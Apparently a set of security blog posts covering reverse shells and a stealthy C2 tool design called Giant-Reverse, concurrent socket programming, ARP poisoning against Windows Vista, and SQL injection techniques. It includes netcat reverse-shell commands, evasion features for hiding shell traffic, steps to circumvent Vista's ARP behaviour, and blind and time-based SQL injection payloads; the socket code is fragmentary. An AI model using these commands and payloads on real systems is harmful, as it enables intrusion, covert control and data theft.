One of the most important stages after a successful exploitation of remote system is to maintain a persistent access to that compromised machine. A persistent access refers to the ability of the attacker to access the compromised system any time after the exploitation. In the past, installing a backdoor that listens on a particular port and accepts connections on that port was the preferred method to keep a persistent access. The attacker would simply have a remote shell to the system and have a full control over it. This technique has become less feasible with the advent of security measures; and with the wide deployment of firewalls that even the smallest corporate network has some sort of network access-control; inbound (incoming) connections are restricted by network administrators. Binding the remote system to a local port after a successful exploitation won’t give the attacker a persistent access anymore.
The trend in post-exploitation stage moved from “remote shell” to “reverse shell” where instead of the remote system listening on a particular port and waiting for an incoming connection, the remote system initiate a connection to the attacker machine, however, such connection is used by the attacker to send “shell” commands to the remote system to be executed. It is called “reverse” because the shell control runs in the opposite direction of the established connection. The connection is established from the remote compromised system to the attacker, while the control traffic (shell) is running from the attacker’s machine to the target machine. For “reverse-shell” to work, it is enough to have an outgoing open port on the firewall so that the compromised system initiates the outbound connection through this port.
There are various techniques to have a reverse-shell. An attacker who is exploiting a remote vulnerability that requires sending shellcode may construct a shellcode that establishes a connection back to his/her machine and pipes a shell to that stream. Also, the attacker can use an external program/script that provides this facility. SSH and Netcat are good candidate to do this job. Having a reverse-shell access using netcat can be done as follows: a netcat instance would run on the attacker’s machine; and another instance runs on the compromised machine. If the attacker wants to have the reverse-shell on port 2233, he runs netcat on his/her machine as follows:
$netcat –v –l –p 2233
And on the compromised machine, he/she runs:
$netcat –e /bin/sh 2233
However, there are many drawbacks to these current techniques. First, network security solutions, other than firewalls, are deployed by corporate networks. The main two are Application-level inspection engine and IPS/IDS. Application inspection engine monitors the traffic at the application level (e.g. FTP, HTTP, POP3, SMTP, NTP, etc) and filters any non-standard behavior. In other words, the inspection engine always makes sure that the application traffic is according to the standard RFC implementation. Otherwise, the connection is blocked. For example, an SMTP inspection engine ensures at least the following:
- The commands and responses are standard SMTP commands and responses.
- The SMTP transaction happens in the standard sequence.
- An SMTP command from the client must be acknowledged by the server before the client is able to send the next command.
The same applies to other protocol inspection engines, like HTTP, POP3, FTP, etc.
An IDS/IPS device extends the monitoring capability to an actual checking of standard traffic and making sure that variable fields do not contain malicious contents. For example, the username field in a POP3 protocol may contain any data. If an attacker embeds a username field to exploit remote buffer overflow vulnerability, the inspection engine will not detect this. However, the IDS/IPS may detect if it knows the signature of the shellcode.
Given these advancements in network security solutions, normal reverse-shell techniques become obsolete. A reverse-shell implemented with netcat or SSH does not comply with a pre-defined standard protocol implementation, and thus, it is easily detectable. Another drawback of the existing implementations is that they do not provide a reliable and maintainable access. If the connection is halted for some reasons, the attacker needs to re-establish it again manually.
The idea of “Next Generation Reverse Shell” was born to provide a reliable, maintainable, and persistent access to compromised systems and to stand within the modern advancements of security measures. A platform, called “Giant-Reverse”, is also developed to provide the facility of Next Gen. Reverse Shell. The characteristics and features of this new and original implementation are as follows:
[1] Next Gen. Reverse Shell utilizes standard protocols to tunnel shell commands and execution results. Protocols like HTTP, SMTP, POP3, FTP, NTP, and ICMP can be used to carry, and transfer arbitrary data without violating the standard implementation of these protocols. By utilizing such protocols, the traffic would not only pass through a network firewall, but also appear as a legitimate traffic in the eyes of an inspection engine or IDS/IPS.
[2] Next Gen. Reverse Shell has the ability to automatically detect the open ports on the firewall. When the client agent runs, it tries to connect to the server machine (controlled by the attacker) on various ports until it finds a port that is open. For example, it tries to connect to port 21 (FTP) and if this port is closed, it tries port 80 (HTTP) and if it is closed, it tries port 110 (POP3) and so on. This feature means that the attacker does not worry about finding the suitable open port on the firewall and instruct the client to use it; rather, the client finds it automatically.
[3] Next Gen. Reverse Shell provides the ability to run simultaneously multiple Shells over single stream. After establishing the reverse connection on a particular port, the specialist (e.g. security professional, attacker, etc) can create more than one shell over this single TCP or UDP stream; all the Shells are running concurrently and the specialist can swap between them. This provides greater control over the compromised system. The user can run a password sniffer in one shell, a password brute-force tool in another and a vulnerability scanner in a third shell.
[4] Next Gen. Reverse Shell provides the ability to control multiple compromised systems at once. The listening server running on the attacker’s machine can accepts connections from different client agents. The specialist, then, would control these clients simultaneously. He/she would run a program on the first client, then swap to a second one and run another program. At any time, the server can show details about the connected clients with some statistical data.
[5] Next Gen. Reverse Shell gives the user the ability to change the tunneling protocol and port number at any time. If there is a connection from a client to the server on port 21 with the FTP protocol, the user can change it to port 110 with POP3 protocol. After instructing the client to change protocol, the client halts the current connection and establishes a new one on the specified port.
[6] Next Gen. Reverse Shell has the ability to suspend the client agent for specific amount of time. When a client is suspended, the status of the running Shells remain the same; and when the period of suspension ends, the client re-establishes the connection again while preserving the Shell. For example, if the user is running two simultaneous Shells and would like to stop working and resume the work the next day, he/she would instruct the client to suspend for one day. During the suspension (or sleep) period, there is no traffic generated between the client and the server.
[7] Next Gen. Reverse Shell automatically re-establishes the connection in case of a disconnection. Just like the feature where the client automatically finds the open port, the client can automatically initiate new connection in case the previous one is lost. Let’s take this scenario; if the corporate network administrator reboots the firewall, all connections are lost. The attacker would then lose the current established reverse-shell connection. However, once the client detects such sudden disconnection, it re-establishes the connection again.
[8] Next Gen. Reverse Shell provides the ability to conceal the transferred shell commands or execution results by either encoding or encrypting these messages. This is different than SSH mechanism which encrypts the whole application layer. The encryption and encoding mechanism of Next Gen. Reverse Shell is to encrypt or encode only the contents tunneled within the normal standard protocols. For examples, if the user is utilizing SMTP protocol as a tunnel to transfer commands/results, the body of the messages are encrypted or encoded while the standard SMTP communication is neither encrypted nor encoded. Let’s say the attacker runs a command like “echo /etc/passwd”, the result of this command is transfer in plain-text. An administrator monitoring the traffic with his/her naked eye would see the content of /etc/passwd file being transferred. However, with encryption, or at least encoding, such traffic may pass unnoticed by the administrator.
[9] Next Gen. Reverse Shell distinguishes between different sets of commands. There is internal command set and shell command set. Internal commands are used by the user to control the behavior of the Next Gen. Reverse Shell application. Internal commands enable the user to set or get specific variable data. For example, the internal command “create_shell” instantiate a new shell on the remote machine, and a command like “set_protocol” sets the tunneling protocol. Any command other than internal commands is considered a shell command and would be executed on the remote machine; the results of such execution are returned to the user.
The speed of Internet communications is of an equal importance to both Internet engineers and the end users. Internet users, in general, prefer to have a fast enough communication to perform their Internet transactions. A fast Internet communication provides comfort and easiness to the users. The speed of the Internet depends on many factors; however, they can be classified into two categories:
a. Hardware factors
b. Software factors
Hardware factors are like the physical link and its transfer rate, the CPU processing speed of Internet devices (e.g. Routers, Switches, Servers, etc) as well as the CPU processing speed of the end user’s PC. The software factors involve the algorithms which Internet applications utilize to perform Internet operations. In other words, there are different network programming techniques that could be used to optimize the speed of network communications. The software factors cannot influence the communication speed beyond the hardware factors. It is always the burden of the network application developer to use the best techniques to make the best out of the available hardware devices/links.
Conventionally, the time needed for a packet to travel from source A to destination B and come back from B to A again is called RTT, Round-Trip Time. And the TCP protocol contains algorithms (using the three-way handshake sent/received packets) to compute the approximate RTT between the client and the server, so that the client knows how long to wait for an acknowledgment. In a sequential communication, the client sends the next data after it receives the acknowledgment from the previous data. We will take DNS query/response as a case study to illustrate the points here. Let’s say a client wants to resolve three hostnames: server-A, server-B, and server-C. An application that performs sequential transactions will send a query for server-A, wait for the response, and once it receives the response, it sends another query for server-B; and once again when it receives the response for server-B, it sends the query for server-C and finally receives its response. If, for instance, the time from sending the query until receiving its response is 180 Milliseconds, the total time to resolve the three hostnames will be 540 Milliseconds.
If we divide the RTT into six time periods, we can draw the following diagram that corresponds to every query-response pair:
Time 0:
REQUEST1__________________->
<-__________________________
Time 1:
_________REQUEST1_________->
<-__________________________
Time 2:
__________________REQUEST1->
<-__________________________
Time 3:
___________________________->
<-_________________REPLY___1
Time 4:
___________________________->
<-________REPLY___1_________
Time 5:
___________________________->
<-REPLY__1__________________
However, by utilizing the link, we can minimize the total time to resolve three hostnames. This happens by sending other queries before receiving the responses that correspond to the previous queries. The client would first send query-1 followed directly by query-2 and query-3. The server will process the queries and send the replies in the same rate. This can be demonstrated by the following diagram:
Time 0: REQUEST1__________________-> <-__________________________ Time 1: REQUEST2 REQUEST1_________-> <-__________________________ Time 2: REQUEST3 REQUEST2 REQUEST1-> <-__________________________ Time 3: _________REQUEST3 REQUEST2-> <-_________________REPLY___1 Time 4: __________________REQUEST3-> <-________REPLY___1 REPLY___2 Time 5: ___________________________-> <-REPLY__1 REPLY___2 REPLY___3 Time 6: ___________________________-> <- REPLY___2 REPLY___3_______ Time 7: ___________________________-> <-REPLY__3__________________
In this case, the total amount of time to resolve three hostnames is reduced to 220 Milliseconds. But the question now is: how does a developer optimize the speed of network communication and make his/her application performs transactions faster? There are different network programming techniques to perform such act. The main four ones are: a. I/O Multiplexing, b. Non-Blocking I/O, c. Multi-Processing, and d. Multi-Threading. But before discussing those techniques, one has to understand the reason behind the normal sequential communication.
I/O operations are be default blocking, which means, when reading data from a socket or standard input or when writing data to a socket or standard output, the I/O operation blocks the continuity of the process until the I/O operation is done. As in the previous DNS example, the client sends the query using the send() function, then, it issues the recv() function to receive the reply. The recv() function will block the process until an actual data packet is received. The time during which the process is blocked becomes useless and the application cannot perform any other operation during this time. The following techniques can be used, individually or in combination, to solve this problem:
[1] I/O Multiplexing
I/O Multiplexing refers to the ability to multiplex multiple input/output streams and then select the stream that is ready to be read or write. When any of the streams is ready, it is returned to the process to perform the needed operation. Visiting our DNS example, the developer can multiplex two input streams: a socket stream to read the responses from the server, and a standard input stream to read the hostnames. Whenever the standard input is ready, the program reads the hostname and sends the query. At the same, whenever the socket input is ready, the program reads the response and processes it. In this case, the hostnames can still be read from the standard input and the queries are sent even though the replies from the previous queries have not been received yet. I/O Multiplexing can be implemented using the select() function call as follows:
While()
{
FD_SET( , &rset);
FD_SET( , &rset);
maxfd = max( , ) + 1;
select( maxfd, &rset, NULL, NULL, NULL );
if( FD_ISSET( , &rset ) )
{
/* read hostnames, and send the queries */
}
If( FD_ISSET( , &rset ) )
{
/* read the response, process it,
and print the result */
}
}
[2] Non-Blocking I/O
Non-Blocking I/O refers to changing the default behavior of input/output streams from blocking mode to non-blocking so that a read or write call will return immediately whether there is data to read/write or not. Not only that, Non-Blocking mode can also be set for initiating multiple connections [connect()]. For example, if a client application wants to initiate three connections (TCP three-way handshake) and these connections take 7, 9, and 14 milliseconds to complete, respectively, in a sequential operation, the total time needed to perform these connections is 35 milliseconds. However, by using Non-Blocking connect(), the application can initiate other connections before the first connection is established. If we set the program to initiate at least three connections simultaneously, the total time needed to establish the three previous connections is 14 seconds – almost 60% percent less than sequential connections. Setting the non-blocking mode on an I/O stream can be programmatically using fcntl() function as follows:
int flags = fcntl(, F_GETFL, 0); fcntl( , F_SETFL, flags | O_NONBLOCK );
[3] Multi-Processing (forking)
Multi-Processing refers to the technique by which the main application creates sub-processes (called children) that perform tasks independently from each other and from the main process (called the parent). Instead of using I/O Multiplexing or Non-Blocking I/O, a developer can make the main process forks [fork()] multiple children and let each child perform specific operation. Visiting our DNS example, the application can create a child for every hostname to be resolved. Similarly in our multiple-connection example, the application can create a child for every connection to be established. The O.S. handles the concurrent execution of those sub-processes. Creating a child process is done using the POSIX fork() call. This method is the most widely used by Unix clients and servers.
[4] Multi-Threading
Multi-Threading is very similar to Multi-Processing except that threads are lighter than process. Forking a process is considered expensive and requires additional overhead. However, with threads, the cost is minimal and operations are performed faster. Threads are run concurrently by the O.S. The main application can create multiple threads where every thread performs individual task separately. A thread can be created using the POSIC pthrea_create() function call.
Although each technique of these has its advantages and disadvantages and although each one has its own context that best fits in, the Multi-Threading technique is considered the fastest and least expensive among all techniques.
Recently, I was trying to do the normal ARP poisoning/spoofing attack to intercept the bi-directional traffic between a Windows Vista machine and the Internet (through a gateway router). To my surprise, I was able to see a unidirectional traffic, which is the traffic coming from outside through the gateway to the Vista machine and I could not see the traffic sent from the Vista machine. I checked the ARP cache of both the gateway router and the Vista machine and found that the poisoning was successful – and by the way, I was using the Ettercap tool. The router cache contains an entry that says the IP address of the Vista machine is located at the MAC address of my (MITM) machine; likewise, the Vista cache contains an entry that says the gateway router IP address is located at the MAC address of my machine (the MITM). However, when I check the sniffer (Wireshark) on the MITM machine, I do not see any traffic from the Vista machine directed to the outside world.
After a little investigation, I discovered that the Vista machine was not using the default gateway IP address to look up its MAC address using normal ARP request, and then use this MAC in all packets destined to the outside world. It was actually sending Proxy-ARP request for every public IP address the system was trying to connect to. In other words, when the system needs to communicate with a public IP address, instead of just using the MAC address associated in the ARP cache with the default gateway IP, the system sends an ARP Request asking for the MAC address of that public IP address. Since this public IP does not fall within the local subnet range, such ARP request is called “Proxy ARP Request” and it will be handled by the default gateway itself. Usually, the gateway will return its own MAC address, and the system will cache a new entry associating this MAC address with the public IP address. The Vista system repeats this process with every public IP address it is trying to communicate with.
For example, let’s say that the default gateway IP is 10.0.0.1 and its MAC AB:CD:EF:12:34:56. Let’s assume that there is already an entry in the ARP cache associating this IP with is MAC. In normal operations, when the system wants to contact a public IP like 65.65.65.65, it simply sends the packet where the destination MAC address is that of the gateway, that is AB:CD:EF:12:34:56. However, in the new Vista operation, the system will simply send a Proxy ARP Request asking for the MAC address of 65.65.65.65, then, the gateway will reply with its own MAC (AB:CD:EF:12:34:56). The Vista system will now cache this new entry associating 65.65.65.65 with AB:CD:EF:12:34:56. When the system wants to communicate with another IP address, e.g. 53.53.53.53, it will cache another entry and so on so forth.
My only impression about this behavior is that Microsoft is trying to minimize the effect of ARP spoofing/poisoning so that normal ARP interception technique may not fully work. Intercepting a unidirectional traffic is not of much interest for an attacker since he/she will miss a lot of important data, besides, many attacks (e.g. SSL Hijacking, RDC Hijacking, etc) implemented after a successful interception may not work properly.
To circumvent this restriction, the attacker needs to poison the ARP cache with fake entries for every IP address the system is trying to connect to. This could be done as follows:
• The attacker sniffs for ARP Requests generated by the target system and asking for MAC address of an IP address that falls outside the local subnet.
• The attacker sends a fake ARP reply saying that the MAC address of such public IP is the MAC address of his/her own machine (MITM).
• The attacker keeps this public IP in a list to keep injecting the fake ARP replies every 1-2 minutes (to keep the cache poisoned)
This process can be automated using a script or a program which will run simultaneously with a tool like Ettercap.
DNS Multiple Race Exploiter (DNS_MRE) tool is now an official FreeBSD Port. The port page is:
http://www.freshports.org/dns/dns_mre/
I would like to thank Tomoyuki Sakurai who ported and is maintaining the port.
Security is not about 100% protection, but rather about continuously “raising the bar” to make the attacks more difficult and less feasible. However, as defensive techniques evolve, offensive techniques also evolve. The opposite is also true: as offensive methods improve, defensive methods also improve. This circle whose two poles are offensive and defensive techniques is always running where every pole is pushing the other to a better state.
SQL Injection attack is an example of this; it was as simple as entering [; or 1=1--] to test for the availability of SQL injection vulnerability. Recently, a method called “time-based blind SQL injection using heavy queries” has been populated. This method was introduced at Defcon 16 (2008). The aim of this method is both discovering the SQL injection vulnerability as well as extracting data from SQL tables.
SQL injection attack refers to inserting a valid SQL statement (or partial statement) that is passed unmodified to the application that executes this statement on a SQL Database server. The way the attacker would know whether the vulnerability exists or not is by seeing the page returned. Once an attacker inserts an input that breaks the SQL statement, the server returns an error, which is then displayed back to the attacker. Not only that, the server can also dump any execution results which makes the attack even easier; the attacker can SELECT whatever data from the database, and it will be displayed back to him/her.
However, what if the server does not show any error message or does not return any data at all except the allowed web page? This is done by many developers and system administrators as a defense method against SQL injection attack. In this case, an attacker cannot know directly if the vulnerability exists and cannot get the results back if the vulnerability indeed exists. The method to circumvent this is called “Blind SQL Injection” and the central theme of this attack is to identify a Boolean behavior. For example, if the SQL statement is executed with a ‘true’ condition, the server displays the home page whereas if the SQL statement results into a ‘false’ condition, the server displays a “wrong password” message. An example of blind SQL injection is the following two statements:
SELECT user FROM Users WHERE uname = ‘t’ and 1=1
SELECT user FROM Users WHERE uname = ‘t’ and 1=2
After this identification, the attacker can extract data by continuously sending ‘yes’/’no’ statements. The following example, taken from SQL Injection Cheat Sheet, tries to check the first character of the first table name, and by repeating this statement to check other characters, the attacker can extract valuable data:
SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL (ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN (SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)), 1,1)),0)>78--
Now, what if there is no Boolean behavior? What if the server returns the same page (or error message) all the time and the attacker cannot see any difference between different injected inputs? Blind SQL injection evolved to “Time-based Blind SQL Injection.” Instead of identifying a binary behavior, the attacker injects SQL statements with “wait” commands, the syntax of which is dependent on the SQL Database version. This command will instruct the SQL server to wait (i.e. sleep) for a period of time (e.g. 10 seconds). If, after injecting the SQL statements, the response is delayed for that period of time, the injected statement has executed successfully. Next, such behavior would be used to extract data. The attacker inserts a “wait” command within a condition, if the condition is true, the response is delayed for a period of time; and when the response is false, the response is returned immediately. The following statement checks the first bit of the first byte of the current database; if it is 1, the condition is ‘true’ and the server will pause for five seconds:
declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 1, 1)) & ( power(2, 0))) > 0 waitfor delay '0:0:5'
As a security measure, some administrators disable the ‘wait’ commands; and in this case, the time-based blind SQL injection attack won’t work. The latest trend in SQL injection is “Time-Based Blind SQL Injection using Heavy Queries.” The idea here is to use heavy queries that take significant time to execute as a substitute of the ‘wait’ commands. As with time-based attack using ‘wait’ commands, the time-based attack using ‘heavy queries’ is used to identify a binary behavior: if the response from the server takes significant time (e.g. 10 seconds), the condition is ‘true’ whereas if the response is returned immediately, the condition is ‘false’. The following statement is an example, provided by ‘Chema Alonso’, of Blind SQL injection using heavy queries:
http:/ /www.informatica64.com/blind2/pista.aspx? id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 300 > (select top 1 ascii(substring(name,1,1)) from sysusers)
So, the evolution of SQL injection attacks can be summarized in the following stages:
A. Simple SQL Injection Attack
B. Blind SQL Injection Attack
C. Time-Based Blind SQL Injection Attack
D. Time-Based Blind SQL Injection using Heavy Queries Attack